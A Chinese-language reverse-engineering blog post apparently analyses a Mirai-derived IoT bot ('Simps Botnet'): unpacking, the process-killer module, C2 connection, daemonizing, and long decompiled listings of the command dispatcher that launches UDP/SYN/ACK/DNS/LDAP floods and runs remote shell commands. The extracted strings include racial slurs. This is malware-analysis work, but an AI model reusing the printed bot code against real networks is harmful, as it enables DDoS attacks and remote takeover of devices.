Mirai
虽然Mirai很老了,但是类似学Windows病毒分析拿熊猫烧香练手一样,Linux病毒不逆个Mirai感觉不太对😅
现在很多僵尸网络,尤其是IOT病毒,是基于Mirai的变种,或者复用了部分代码。我觉得还是分析记录一下是有必要的。
新的家族或许黑产从业人士,可以很快的通过添加模块或者代码,改变通信方式,增加最新的漏洞利用,或者针对不同的设备类型。所以分析一下作为对比项,以后能较快的发现差异部分。
引用自安全牛:
在攻击者眼中,IoT传感器就是完美僵尸网络节点:无处不在、联网、默认设置糟糕、软件漏洞成堆,而且人们很容易遗忘它们的存在。这些设备部署之后基本处于无人监管状态,既没有软件或固件升级,也不会打补丁。所以,网络罪犯开始利用IoT设备开展僵尸网络攻击行动不过是个时间问题。 Mirai僵尸网络就是首个大规模IoT僵尸网络案例
变种
Okiru、Satori、Masuta和PureMasuta等变体
- Satori:Mirai的扫描功能用于远程代码注入攻击。
- JenX bot:由Mirai进化而来,使用相似的代码,但去除了扫描和利用功能。
- OMG bot:基于Mirai源代码添加了HTTP和SOCKS代理功能的新扩展。
- Wicked:利用RCE漏洞感染Netgear路由器和CCTV-DVR设备。当发现存在漏洞的设备时,会下载并执行Owari bot的副本。
源码
Mirai源码
《xd0ol1 - Mirai 源码分析》
《绿盟 - MIRAI源码分析报告》
分析报告
《腾讯威胁情报中心 - Mirai僵尸网络利用弱口令爆破攻击上万台Linux服务器》
分析
查壳
用“Detect-It-Easy”等工具查壳,发现是UPX3.94:
此时如果在IDA里面打开,可以发现是无法静态分析的:
脱壳
UPX壳是简单的压缩壳,可以通过脱壳机进行脱壳。根据自己拥有的环境或者软件,Kali系统下使用upx -d
命令脱壳:
此时在IDA里面打开,就是可以直接阅读的代码了,并且可以发现保留了符号表:
逆向分析
int 80H
第一个函数“getppid”获取父进程。
getpid = 获取进程
geippid = 获取父进程,多出的一个P就是Parent的缩写
先通过内联汇编int 0x80
造成软中断,触发系统调用,就可以使用内核资源了:
Killer模块
第二个函数“killer_xywz”是Killer模块,用来杀死指定进程:
has_exe_access
获取/proc/tmp/exe
下的符号链接所指文件:
如果从“has_exe_access”获取到符号链接所指文件,进入Killer
的主要代码,否则退出:
- readdir:遍历/proc下的进程文件夹;
- readlink:获取进程所对应程序的真实路径;
查看数组knownBots
的数据:
数据内容如下:
584D4E4E43504622
2F6465762F6D6973632F7761746368646F67
4E4B5156474C4B4C450256574C1222
4C4F4C4E4F4754464F
212A20445550
5453554E414D49
50414E20
7A6F6C6C617264
5245504F52542025733A
64767268656C706572
647672737570706F7274
6D69726169
626C616465
64656D6F6E
686F686F
68616B6169
7361746F7269
6D657373696168
6D697073
6D697073656C
737570657268
61726D7637
61726D7636
69363836
706F7765727063
69353836
6D36386B
7370617263
61726D7634
61726D7635
6B6F736861
796F796F
3434306670
6D696F7269
6E6967676572
6B6F77616973746F726D
6C6F6C6E6F6774666F
636F726F6E61
64757073
6D6173757461
626F746E6574
637261636B6564
736C756D70
737464666C6F6F64
756470666C6F6F64
746370666C6F6F64
68747470666C6F6F64
6368696E6573652066616D696C79
76737061726B7A7979
736861646F68
6F7369726973
6B6F776169
998F989C8F98D0CA8986859F8E8C868B988FC7848D838492EA
557365722D4167656E743A202573
4F4D564A4750
445741494750
4572726F7220647572696E67206E6F6E2D626C6F636B696E67206F70657261746
明显是以十六进制储存的字符串,为了方便阅读和理解,我将其转为ASCII码:
XMNNCPF"
/dev/misc/watchdog
NKQVGLKLEVWL"
LOLNOGTFO
!* DUP
TSUNAMI
PAN
zollard
REPORT %s:
dvrhelper
dvrsupport
mirai
blade
demon
hoho
hakai
satori
messiah
mips
mipsel
superh
armv7
armv6
i686
powerpc
i586
m68k
sparc
armv4
armv5
kosha
yoyo
440fp
miori
nigger
kowaistorm
lolnogtfo
corona
dups
masuta
botnet
cracked
slump
stdflood
udpflood
tcpflood
httpflood
chinese family
vsparkzyy
shadoh
osiris
kowai
ÐÊ
Çê
User-Agent: %s
OMVJGP
DWAIGP
Error during non-blocking operat
参数
if ( argv[1] ) // 如果有参数
{
v3 = &argc;
strcpy(&bot, argv[1]); // 参数是&bot
}
else
{
strcpy(enc_unk, "unknown"); // 否则&bot为“unknown”
strcpy(&bot, enc_unk);
}
// 如果&bot的值为“x86_64、i586、mips、mipsel、armv4l、armv5l、armv6l、armv7l、powerpc、sparc、m68k、i686、sh4、hnap、realtek、huawei、11、archARM、xDLS、yarn、ThinkPHP”
if ( strstr(&bot, "x86_64")
|| strstr(&bot, "i586")
|| strstr(&bot, "mips")
|| strstr(&bot, "mipsel")
|| strstr(&bot, "armv4l")
|| strstr(&bot, "armv5l")
|| strstr(&bot, "armv6l")
|| strstr(&bot, "armv7l")
|| strstr(&bot, "powerpc")
|| strstr(&bot, "sparc")
|| strstr(&bot, "m68k")
|| strstr(&bot, "i686")
|| strstr(&bot, "sh4")
|| strstr(&bot, "hnap")
|| strstr(&bot, "realtek")
|| strstr(&bot, "huawei")
|| strstr(&bot, "11")
|| strstr(&bot, "archARM")
|| strstr(&bot, "xDLS")
|| strstr(&bot, "yarn")
|| strstr(&bot, "ThinkPHP") )
{ // 保留其值为&bot
strcpy(&bot, argv[1]);
}
else
{ // 不在列表中的值,将&bot值改为“unknown”
strcpy(enc_unk_0, "unknown");
strcpy(&bot, enc_unk_0);
}
puts("Infected By Simps Botnet ;)");
Infected.log文件
打开“Infected.log”文件写入一些日志信息:
puts("Infected By Simps Botnet ;)");
LogFile = (FILE *)fopen("Infected.log", 0x8056BA6);
fwrite
(
"Thank You For Your Services.\r\n"
"This Device Has successfully Been Infected\r\n"
"With Malware By Simps Botnet ;)\r\n"
"| instagram: @ur0a_ | Discord: UR0A#2199\r\n",
1,
149,
(size_t)LogFile
);
fclose((int)v3, (int)LogFile);
getOurIP
- 根据域名向DNS服务器8.8.8.8查询IP(对应源码中的DNS Resolver / DNS解析器);
- 通过
getsockname
获取本机IP; 通过路由表获取到网关后,再调用
ioctl
获取和MAC:int getOurIP()
{
// 1.通过8.8.8.8的DNS服务器获取域名的IP
sock = socket(AF_INET, SOCK_DGRAM, 0); // UDP
if ( sock == -1 )
return 0;
*(_DWORD *)serv.sin_zero = 0;
*(_DWORD *)&serv.sin_zero[4] = 0;
serv.sin_family = 2;
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
serv.sin_port = htons(53); // 53端口 = DNS协议
err = connect(sock, &serv, 16);
if ( err == -1 )
return 0;
// 2.通过getsockname获取本机IP
namelen = 16;
err = getsockname(sock, &name, &namelen);
if ( err == -1 )
return 0;
ourIP.s_addr = name.sin_addr.s_addr; // 保存获取到本机的IP
//3.通过路由表的网关,获取MAC地址
fileRoute = open("/proc/net/route", 0, v1, v2); // 3.1 打开路由表
while ( fdgets((unsigned __int8 *)linebuf, 4096, fileRoute) ) // 3.2 读取路由表内数据
{
if ( strstr(linebuf, "\t00000000\t") )
{
for ( pos = (unsigned __int8 *)linebuf; *pos != 9; ++pos )
;
*pos = 0;
break;
}
memset(linebuf, 0, sizeof(linebuf)); // 3.3 获取网关
}
close(fileRoute);
// 3.4 如果获取到的网关,调用“ioctl”获取MAC地址
if ( linebuf[0] )
{
strcpy(&ifr, linebuf);
ioctl(sock, SIOCGIFHWADDR, (int)&ifr, v3);
for ( i = 0; i <= 5; ++i ) // 3.5 获取MAC
macAddress[i] = ifr.ifr_ifru.ifru_addr.sa_data[i];
}
close(sock);
return v4;
}
/proc/net/route路由表
路由表内容如下:
┌──(root💀kali)-[~]
└─# cat /proc/net/route
Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
eth0 00000000 029FA8C0 0003 0 0 100 00000000 0 0 0
eth0 009FA8C0 00000000 0001 0 0 100 00FFFFFF 0 0 0
getOurIP
函数中,通过strstr(linebuf, "\t00000000\t")
获取的值,就是Gateway
,为“029FA8C0”——一个以大端序保存的IP地址:
通过route -n
命令显示和操作IP路由表可以查看Gateway
的值确实是“192.168.159.2”:┌──(root💀kali)-[~]
└─# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.159.2 0.0.0.0 UG 100 0 0 eth0
192.168.159.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
【扩展】前置知识
《Linux编程获取本机IP地址的几种方法》
- ioctl();
- getsockname();
- getaddrinfo();
- gethostbyname();
- 通过getifaddrs();
- 通过popen()调用ifconfig。
通过枚举网卡,API接口可查看man 7 netdevice
《ioctl获取本地IP和MAC地址》
// 第二个参数不一样
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == 0)
if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) == 0)
《主机字节序,网络字节序和IP地址的转换问题》
《主机字节序(大端/小端) 和 网络字节序》
字节序是指多字节数据的存储顺序,在设计计算机系统的时候,有两种处理内存中数据的方法:大端格式、小端格式。
网络协议指定了通讯字节序:大端。主机字节序是小端,所以才需要进行字节序转换。
创建守护进程
创建一个标准的进程守护模型操作流程:
- fork() 进程,父进程退出 (必须)
- 子进程创建新的会话 (必须)
- 使用 setsid()
- 改变当前工作目录 chdir (可选)
比如,U 盘插在笔记本,运行 U 盘文件夹里面的可执行程序,然后拔掉,会有一些影响
重设文件掩码 (可选) 子进程会继承父进程的掩码 增加子进程程序操作的灵活性 umask(0) 关闭文件描述符 (可选) 节约资源,关闭此进程的 PCB 的文件描述符表中 0、1、2 三个,因为预警不需要和终端交互,故可关闭
执行核心工作 (必须) 你想让该守护进程干的事情
————————————————
版权声明:本文为CSDN博主「偕臧x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_33154343/article/details/105453850
IDA内显示如下:
pid1 = fork();
if ( pid1 )
{
waitpid(pid1, &status, 0);
exit(0);
}
if ( fork() )
exit(0);
setsid();
chdir((const char *)&aZyxwvutsrqponm[79]);
signal(SIGPIPE, 1);
【正题到了】大While循环
一般木马或者其他需要保持网络通信或者接受C2指令的情况,主要的恶意代码都会放在While循环里。
大的While循环上面通常是一些准备操作,比如获取IP/用户名,环境准备(杀死进程等)。
大的While循环根据功能要求内部可能会有小的While循环来完成小的功能,比如需要保持(要保持所以循环)网络连接刷新C2指令。
简单的说,看到大的While循环就是正题了。
第1个小While——initConnection
函数名译为初始化连接——创建一个C2连接:
_BOOL4 initConnection()
{
memset(server, 0, sizeof(server));
if ( Simpsicsock )
{
close(Simpsicsock);
Simpsicsock = 0;
}
if ( currentServer )
++currentServer;
else
currentServer = 0;
strcpy(server, Simpsserv[currentServer]);
port = 6982; // Mirai默认端口
if ( strchr(server, ':') )
{
v0 = strchr(server, ':');
port = atol(v0 + 1);
*(_BYTE *)strchr(server, ':') = 0;
}
Simpsicsock = socket(AF_INET, SO_DEBUG, 0);
return connectTimeout(Simpsicsock, (char *)server, port, 30) == 0; // 连接C2
}
发送bot.id
建立连接后发送系统信息(“sockprintf(Simpsicsock, “%s”, bot.id);”),也就是系统架构,比如“x86_64”:
int sockprintf(int sock, char *formatStr, ...)
{
va_start(va, formatStr);
textBuffer = (unsigned __int8 *)malloc(2048);
memset(textBuffer, 0, 2048);
orig = (char *)textBuffer;
print(&textBuffer, (const unsigned __int8 *)formatStr, va);
orig[strlen(orig)] = 10;
q = send(sock, orig, strlen(orig), 0x4000);
free(orig);
return q;
}
第2个小While——接收数据
recvLine(Simpsicsock, (unsigned __int8 *)commBuf, 4096); // 从接口中接收数据
// 仅放主要代码
// select用于监视文件描述符的变化情况——读写或是异常
selectRtn = select(socket + 1, &myset, 0, &myset, &tv);
// 用于已连接的数据报或流式套接口进行数据的接收
recv(Simpsicsock, &tmpchr, 1, 0)
遍历进程
for ( i = 0; i < numpids; ++i )
{
if ( waitpid(pids[i], 0, 1) > 0 )
{
for ( on = i + 1; on < numpids; ++on )
pids[on - 1] = pids[on];
pids[on - 1] = 0;
newpids = (unsigned int *)malloc(4 * --numpids + 4);
for ( on = 0; on < numpids; ++on )
newpids[on] = pids[on];
free(pids);
pids = newpids;
}
}
提取命令
commBuf[got] = 0; // 提取命令
trim(commBuf);
message = (unsigned __int8 *)commBuf;
if ( commBuf[0] == '.' )
{
for ( nickMask = message + 1; *nickMask != ' ' && *nickMask; ++nickMask )
;
if ( *nickMask )
{
*nickMask = 0;
nickMask = message + 1;
for ( message += strlen((const char *)message + 1) + 2;
message[strlen((const char *)message) - 1] == 10 || message[strlen((const char *)message) - 1] == '\r';
message[strlen((const char *)message) - 1] = 0 )
{
;
}
command = message;
while ( *message != ' ' && *message )
++message;
*message++ = 0;
for ( tmpcommand = command; *tmpcommand; ++tmpcommand )
*tmpcommand = toupper(*tmpcommand); // 把命令转为大写(为了更好匹配命令下发的代码
paramsCount = 1;
pch = strtok((int)message, 0x8056C26);// 分割命令字符串
params[0] = command;
while ( pch )
{
if ( *pch != 10 )
{
v9 = paramsCount;
params[v9] = (unsigned __int8 *)malloc(strlen((const char *)pch) + 1);
memset(params[paramsCount], 0, strlen((const char *)pch) + 1);
strcpy(params[paramsCount++], pch);
}
pch = strtok(0, 0x8056C26); // 分割命令字符串
}
cncinput(paramsCount, params); // 命令模块
if ( paramsCount > 1 )
{
for ( q = 1; q < paramsCount; ++q )
free(params[q]);
}
}
}
命令分发
cncinput
,的cnc
就是C&C(C2)的Command And Control,即命令与控制。简单的说就是命令模块~
这个函数内代码写的很规整,功能也很清晰。通过if
+strcasestr
对比字符串确认命令,进入命令对应的恶意代码逻辑:
if ( strcasestr(*argv, "UDP") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_0 = argv[1];
port = atol(argv[2]);
time = atol(argv[3]);
if ( strchr(ip_0, 44) )
{
for ( hi = strtok((int)ip_0, (int)","); hi; hi = strtok(0, (int)",") )
{
if ( !listFork() )
{
audp(hi, port, time, 32, 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
audp(ip_0, port, time, 32, 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "SYN") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_1 = argv[1];
port_0 = atol(argv[2]);
time_0 = atol(argv[3]);
if ( strchr(ip_1, 44) )
{
for ( hi_0 = strtok((int)ip_1, (int)","); hi_0; hi_0 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_0, port_0, time_0, 32, "syn", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_1, port_0, time_0, 32, "syn", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "RST") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_2 = argv[1];
port_1 = atol(argv[2]);
time_1 = atol(argv[3]);
if ( strchr(ip_2, 44) )
{
for ( hi_1 = strtok((int)ip_2, (int)","); hi_1; hi_1 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_1, port_1, time_1, 32, "rst", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_2, port_1, time_1, 32, "rst", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "FIN") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_3 = argv[1];
port_2 = atol(argv[2]);
time_2 = atol(argv[3]);
if ( strchr(ip_3, 44) )
{
for ( hi_2 = strtok((int)ip_3, (int)","); hi_2; hi_2 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_2, port_2, time_2, 32, "fin", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_3, port_2, time_2, 32, "fin", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "ACK") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_4 = argv[1];
port_3 = atol(argv[2]);
time_3 = atol(argv[3]);
if ( strchr(ip_4, 44) )
{
for ( hi_3 = strtok((int)ip_4, (int)","); hi_3; hi_3 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_3, port_3, time_3, 32, "ack", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_4, port_3, time_3, 32, "ack", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "PSH") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_5 = argv[1];
port_4 = atol(argv[2]);
time_4 = atol(argv[3]);
if ( strchr(ip_5, 44) )
{
for ( hi_4 = strtok((int)ip_5, (int)","); hi_4; hi_4 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_4, port_4, time_4, 32, "psh", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_5, port_4, time_4, 32, "psh", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "TCPALL") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_6 = argv[1];
port_5 = atol(argv[2]);
time_5 = atol(argv[3]);
if ( strchr(ip_6, 44) )
{
for ( hi_5 = strtok((int)ip_6, (int)","); hi_5; hi_5 = strtok(0, (int)",") )
{
if ( !listFork() )
{
atcp(hi_5, port_5, time_5, 32, "all", 250, 10);
exit(0);
}
}
}
else if ( !listFork() )
{
atcp(ip_6, port_5, time_5, 32, "all", 250, 10);
exit(0);
}
}
return;
}
if ( strcasestr(*argv, "STD") )
{
if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
return;
ip_7 = argv[1];
port_6 = atol(argv[2]);
time_6 = atol(argv[3]);
if ( !strchr(ip_7, 44) )
{
if ( !listFork() )
std(ip_7, port_6, time_6);
return;
}
for ( hi_6 = strtok((int)ip_7, (int)","); hi_6; hi_6 = strtok(0, (int)",") )
{
if ( !listFork() )
std(hi_6, port_6, time_6);
}
}
if ( strcasestr(*argv, "RPE") )
{
if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
return;
ip_8 = argv[1];
port_7 = atol(argv[2]);
time_7 = atol(argv[3]);
if ( !strchr(ip_8, 44) )
{
if ( !listFork() )
DNSw(ip_8, port_7, time_7);
return;
}
for ( hi_7 = strtok((int)ip_8, (int)","); hi_7; hi_7 = strtok(0, (int)",") )
{
if ( !listFork() )
DNSw(hi_7, port_7, time_7);
}
}
if ( strcasestr(*argv, "OVH") )
{
if ( !listFork() )
{
v2 = atol(argv[3]);
v3 = atol(argv[2]);
ovhl7((char *)argv[1], v3, v2);
exit(0);
}
}
else
{
if ( strcasestr(*argv, "VSE") )
{
if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
return;
ip_9 = argv[1];
port_8 = atol(argv[2]);
time_8 = atol(argv[3]);
if ( strchr(ip_9, 44) )
{
for ( hi_8 = strtok((int)ip_9, (int)","); hi_8; hi_8 = strtok(0, (int)",") )
{
if ( !listFork() )
{
vseattack(hi_8, port_8, time_8, 32, 250, 1000, 100000, 0);
exit(0);
}
}
}
else if ( !listFork() )
{
vseattack(ip_9, port_8, time_8, 32, 250, 1000, 100000, 0);
exit(0);
}
}
if ( strcasestr(*argv, "SHELL") )
system((int)argv[1]);
strcasestr(*argv, "KILL");
if ( strcasestr(*argv, "PING") )
sockprintf(Simpsicsock, "PONG NIGGA");
if ( strcasestr(*argv, "DNS") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_10 = argv[1];
port_9 = atol(argv[2]);
time_9 = atol(argv[3]);
if ( strchr(ip_10, 44) )
{
for ( hi_9 = strtok((int)ip_10, (int)","); hi_9; hi_9 = strtok(0, (int)",") )
{
if ( !listFork() )
adns(hi_9, port_9, time_9);
}
}
else if ( !listFork() )
{
adns(ip_10, port_9, time_9);
}
}
}
else if ( strcasestr(*argv, "LDAP") )
{
if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
{
ip_11 = argv[1];
port_10 = atol(argv[2]);
time_10 = atol(argv[3]);
if ( strchr(ip_11, 44) )
{
for ( hi_10 = strtok((int)ip_11, (int)","); hi_10; hi_10 = strtok(0, (int)",") )
{
if ( !listFork() )
adns(hi_10, port_10, time_10);
}
}
else if ( !listFork() )
{
adns(ip_11, port_10, time_10);
}
}
}
else if ( strcasestr(*argv, "STOP") )
{
killed = 0;
for ( i = 0; i < numpids; ++i )
{
if ( pids[i] )
{
v4 = pids[i];
if ( v4 != getpid() )
{
kill(pids[i], 9);
++killed;
}
}
}
}
}
}
——————————休息一下——————————
感觉有点长,分开再写个《下》吧😅
——然后就没有然后了,我现在连样本都找不到
资料
《Understanding the Mirai Botnet》
《zheng_zmy - 中文版》
《uptycs blog - Gafgyt僵尸网络变种复用了Mirai代码》
《未然实验室 - Gafgyt家族物联网僵尸网络家族分析》
《安天-追影小组 - 僵尸网络GAFGYT家族分析》